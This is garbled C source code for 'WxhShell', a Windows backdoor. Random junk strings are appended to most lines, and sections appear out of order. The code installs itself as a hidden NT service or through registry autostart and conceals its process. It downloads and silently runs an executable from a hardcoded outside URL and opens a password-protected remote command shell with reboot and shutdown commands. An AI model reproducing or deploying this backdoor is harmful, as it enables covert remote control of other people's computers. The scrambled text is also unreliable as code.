ULONG UniqueProcessId; Xn=yC Pi
ULONG InheritedFromUniqueProcessId; kB CU+FC
} PROCESS_BASIC_INFORMATION; -JEPh!oTt
s(fkb7W,gO
PROCNTQSIP NtQueryInformationProcess; T.I'c6|
}[z7V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sz270k%[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U=KUx
PUO7Z2
HANDLE hProcess; S>T ;`,
PROCESS_BASIC_INFORMATION pbi; +|dLR*s
]>[TF'pIAx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0'F/z%SMj
if(NULL == hInst ) return 0; C)i8XX
=dNE1rdzNa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D>{`I'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J#Y0R"fo
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $*X?]?
DjK7_'7(L
if (!NtQueryInformationProcess) return 0; :l]qTCmY
n.9k5r@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g`'!Vgd?M[
if(!hProcess) return 0; Brs6RkRf
jq]5Y^e
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5SUO`4L
'6NrL;
CloseHandle(hProcess); RICm$,
M.dX;iM<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^g(qPtQ
if(hProcess==NULL) return 0; o%j?}J7y
C1_0 9Vc
HMODULE hMod; [7PC\
char procName[255]; fWA#n
unsigned long cbNeeded; >F7HKwg}Z
H%l-@::+$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d:>^]5cE&
U5j4iz'
CloseHandle(hProcess); FYFlh^}
>%`SXB&9
if(strstr(procName,"services")) return 1; // 以服务启动 N}nE9z5
O&/nBHu\
return 0; // 注册表启动 BhAT@%
} 2 ^"j]g>mj
,(h-
// 主模块 -?#iPvk6
int StartWxhshell(LPSTR lpCmdLine) o9|
OL
{ |(W04Wp"@
SOCKET wsl; egA*x*8
BOOL val=TRUE; L
/ PAC
int port=0; +`"Tn`O
struct sockaddr_in door; |) ~-Wy
>G!=lLyR
if(wscfg.ws_autoins) Install(); HP*{1Q@5
*A48shfO
port=atoi(lpCmdLine); o<lmU8xB=
+UOVD:G
if(port<=0) port=wscfg.ws_port; 4Dzg r,V
P4yUm(@
WSADATA data; Ms5qQ<0v_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $s1/Rmw
Q}\\0ajS)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zbre5&aU
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `'iO+/;GY
door.sin_family = AF_INET; ;lE=7[UJ3X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #E
Bdg
door.sin_port = htons(port); E7R%G OH
O{c#&/ .K
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pw]+6
closesocket(wsl); _oa*E2VN
return 1; a.UYBRP/l
} Pm^FSw"
9 9:.j=
if(listen(wsl,2) == INVALID_SOCKET) { <<cezSm
closesocket(wsl); `Mg3P_}=
return 1; l v:GiA"X
} /0k'w%V{n
Wxhshell(wsl); 4w9=z,
WSACleanup(); d5L BL'/o
6v scu2
return 0; H~#$AD+H
U9PI#TX
&O
} uAnL`
W!" $g
// 以NT服务方式启动 g2?W@/pa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eV(.\Lj
{ w#a`k9y
DWORD status = 0; *B@#A4f"
DWORD specificError = 0xfffffff; ]b;a~Y0
;{wzw8!
serviceStatus.dwServiceType = SERVICE_WIN32; h5l_/vd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZR=i*y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @mu{*. &
serviceStatus.dwWin32ExitCode = 0; z"z$.c
serviceStatus.dwServiceSpecificExitCode = 0; =ePwGm1:c
serviceStatus.dwCheckPoint = 0; z7?SuJ
serviceStatus.dwWaitHint = 0; R=Ig !s9
80%"2kG
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x{!+4W;S
if (hServiceStatusHandle==0) return; v h)CB8
$_'<kH-eP
status = GetLastError(); ncUhCp?'
if (status!=NO_ERROR) so.}WU
{ 9k62_]w@6
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9i_@3OVl
serviceStatus.dwCheckPoint = 0; IY!.j5q8
serviceStatus.dwWaitHint = 0; "UY34a^I
serviceStatus.dwWin32ExitCode = status; 3zfpFgD!
serviceStatus.dwServiceSpecificExitCode = specificError; Lfa&JKd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p;o "i_!
return; &'PLOyWw
} L?a4>uVY
2\64~a^
serviceStatus.dwCurrentState = SERVICE_RUNNING; RFe>#o
serviceStatus.dwCheckPoint = 0; Y@UW\d*'%I
serviceStatus.dwWaitHint = 0; &09~ D8f'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O:,Gmft+
} ?G9DSk?6%Z
gL|
9hvHr[
// 处理NT服务事件,比如:启动、停止 01
+#2~S
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8(NS;?
{ =kq<J-:#R
switch(fdwControl) beYGP
{ wS$ 'gKA6
case SERVICE_CONTROL_STOP: {EoZ}I
serviceStatus.dwWin32ExitCode = 0; )9/iH(
serviceStatus.dwCurrentState = SERVICE_STOPPED; %(%EEt
serviceStatus.dwCheckPoint = 0; ]{|l4e4P
serviceStatus.dwWaitHint = 0; w0=/V[fs
{ \zA3H$Df~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g=v'[JPd
} '>bn94$
return; F|VHr@%
case SERVICE_CONTROL_PAUSE: r
da: ~
serviceStatus.dwCurrentState = SERVICE_PAUSED; v?nGAn
break; %,S:^Rvv
case SERVICE_CONTROL_CONTINUE: F!I9)PSj
serviceStatus.dwCurrentState = SERVICE_RUNNING; $mq+/|bn
break; MfI+o<{r
case SERVICE_CONTROL_INTERROGATE: +Swl$ab
break; F2(^OFh
}; cF9ZnT.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4},Y0 QXw
} eA(FWO
!q/Q2 N(
// 标准应用程序主函数 BdvpG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y{P~!Yn|
{ 8<6@O
0iMfyW:
// 获取操作系统版本 C^]UK
OsIsNt=GetOsVer(); PK{FQ3b2{
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) P+<=8@a
#MMp0
// 从命令行安装 F2n4#b
if(strpbrk(lpCmdLine,"iI")) Install(); t >64^nS
_-v$fDrz
// 下载执行文件 "Rf|o6!d
if(wscfg.ws_downexe) { :<
]sJfN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u1z!OofN>
WinExec(wscfg.ws_filenam,SW_HIDE); i3(5
'
} Z]Z&PbP
\`/ P*
if(!OsIsNt) { G%jV}7h
// 如果时win9x,隐藏进程并且设置为注册表启动 X2np.9hie
HideProc(); /bC@^Y&}
StartWxhshell(lpCmdLine); ja{x}n*5
} .v=n-k7
else m+pK,D~{"
if(StartFromService()) Z\1`(Pq7`
// 以服务方式启动 0!axAvBV
StartServiceCtrlDispatcher(DispatchTable); mxc^IRj
else Z0V6cikW6
// 普通方式启动 54s90
StartWxhshell(lpCmdLine); ~(rZ)
{@"
F/G+
return 0; g'-hSV/@}@
} &MONg=s3
dleLX%P
v,3}YDu
oO;<$wx2t
=========================================== p Bu}c<
~dsx|G?p
s2+_`Ogg
-HFyNk]>
fB4zqMSfE
_Mh..#)`[
" =k!F`H`/%'
2:[G4
#include <stdio.h> Sc]h^B^7
#include <string.h> @Js@\)P79
#include <windows.h> S.C7%XU
#include <winsock2.h> )Z:maz
#include <winsvc.h> OtT*)8*c
#include <urlmon.h> aMgg[g9>t
EY :EpVin
#pragma comment (lib, "Ws2_32.lib") M?ElD1#Z
#pragma comment (lib, "urlmon.lib") xaIe7.Z"xo
ciPq@kMV
#define MAX_USER 100 // 最大客户端连接数 FlH=Pqc
#define BUF_SOCK 200 // sock buffer .MxMBrM
#define KEY_BUFF 255 // 输入 buffer 7:C2xC
;Qlb].td
#define REBOOT 0 // 重启 )d=&X|S>
#define SHUTDOWN 1 // 关机 C*Y0GfW=
_oU~S$hO
#define DEF_PORT 5000 // 监听端口 t..@69
HhTD/
#define REG_LEN 16 // 注册表键长度 iSMVV<7
#define SVC_LEN 80 // NT服务名长度 B@vup {Kg
!ZN"(0#qz
// 从dll定义API +ldgT"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aSSw>*?Q
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R
<u\
-
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xpmi(~n
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OZl0I#@A
!8J%%Ux&M
// wxhshell配置信息 yMb.~A^$J
struct WSCFG { 8U-<Q>
int ws_port; // 监听端口 8{Wh4~|+
char ws_passstr[REG_LEN]; // 口令 niCq`!
int ws_autoins; // 安装标记, 1=yes 0=no sQ82(N7l
char ws_regname[REG_LEN]; // 注册表键名 {1vlz>82
char ws_svcname[REG_LEN]; // 服务名 q0_Pl*
char ws_svcdisp[SVC_LEN]; // 服务显示名 I9cZZ`vs
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~0{F,R.$
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vqwSOh|P9
int ws_downexe; // 下载执行标记, 1=yes 0=no #X<s_.7DJ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )-LSn
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZV:0:k.x
g\?7M1~
}; kQtnT7
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// default Wxhshell configuration $K~ t'wr
struct WSCFG wscfg={DEF_PORT, uo^tND4a;j
"xuhuanlingzhe", !ma'*X
1, ]~m2#g%
"Wxhshell", Ktf lbI!
"Wxhshell", Ni61o?]Nj
"WxhShell Service", mk?F+gh
"Wrsky Windows CmdShell Service", EnjSio0
"Please Input Your Password: ", </h}2x
1, y/Q,[Uzk\
"http://www.wrsky.com/wxhshell.exe", +q~dS.
"Wxhshell.exe" H:L<gv(rG
}; =q*j". <
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// 消息定义模块 *5S~@
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nx`I9j\
char *msg_ws_prompt="\n\r? for help\n\r#>"; -(![xZ1{K
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C5'#0}6i
char *msg_ws_ext="\n\rExit."; ;jT@eBJ
char *msg_ws_end="\n\rQuit."; CC`Y r
char *msg_ws_boot="\n\rReboot..."; B#x.4~YX
char *msg_ws_poff="\n\rShutdown..."; ;kF+V*
char *msg_ws_down="\n\rSave to "; ~YrO>H` B
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char *msg_ws_err="\n\rErr!"; J]4Uh_>)
char *msg_ws_ok="\n\rOK!"; B3&`/{u
Ha20g/UN.
char ExeFile[MAX_PATH]; ^eWD4Vp|4
int nUser = 0; K<ok1g'0
HANDLE handles[MAX_USER]; \@:mq]Y
int OsIsNt; 3R$*G8v
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SERVICE_STATUS serviceStatus; {vAv ;m
SERVICE_STATUS_HANDLE hServiceStatusHandle; 2z027P-Q
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// 函数声明 X/`M'8v.%
int Install(void); nfjwWDH
int Uninstall(void); A;C)#Q/
int DownloadFile(char *sURL, SOCKET wsh); G8!* &vR/
int Boot(int flag); c7(Lk"G8
void HideProc(void); YST{
h{
int GetOsVer(void); yixAG^<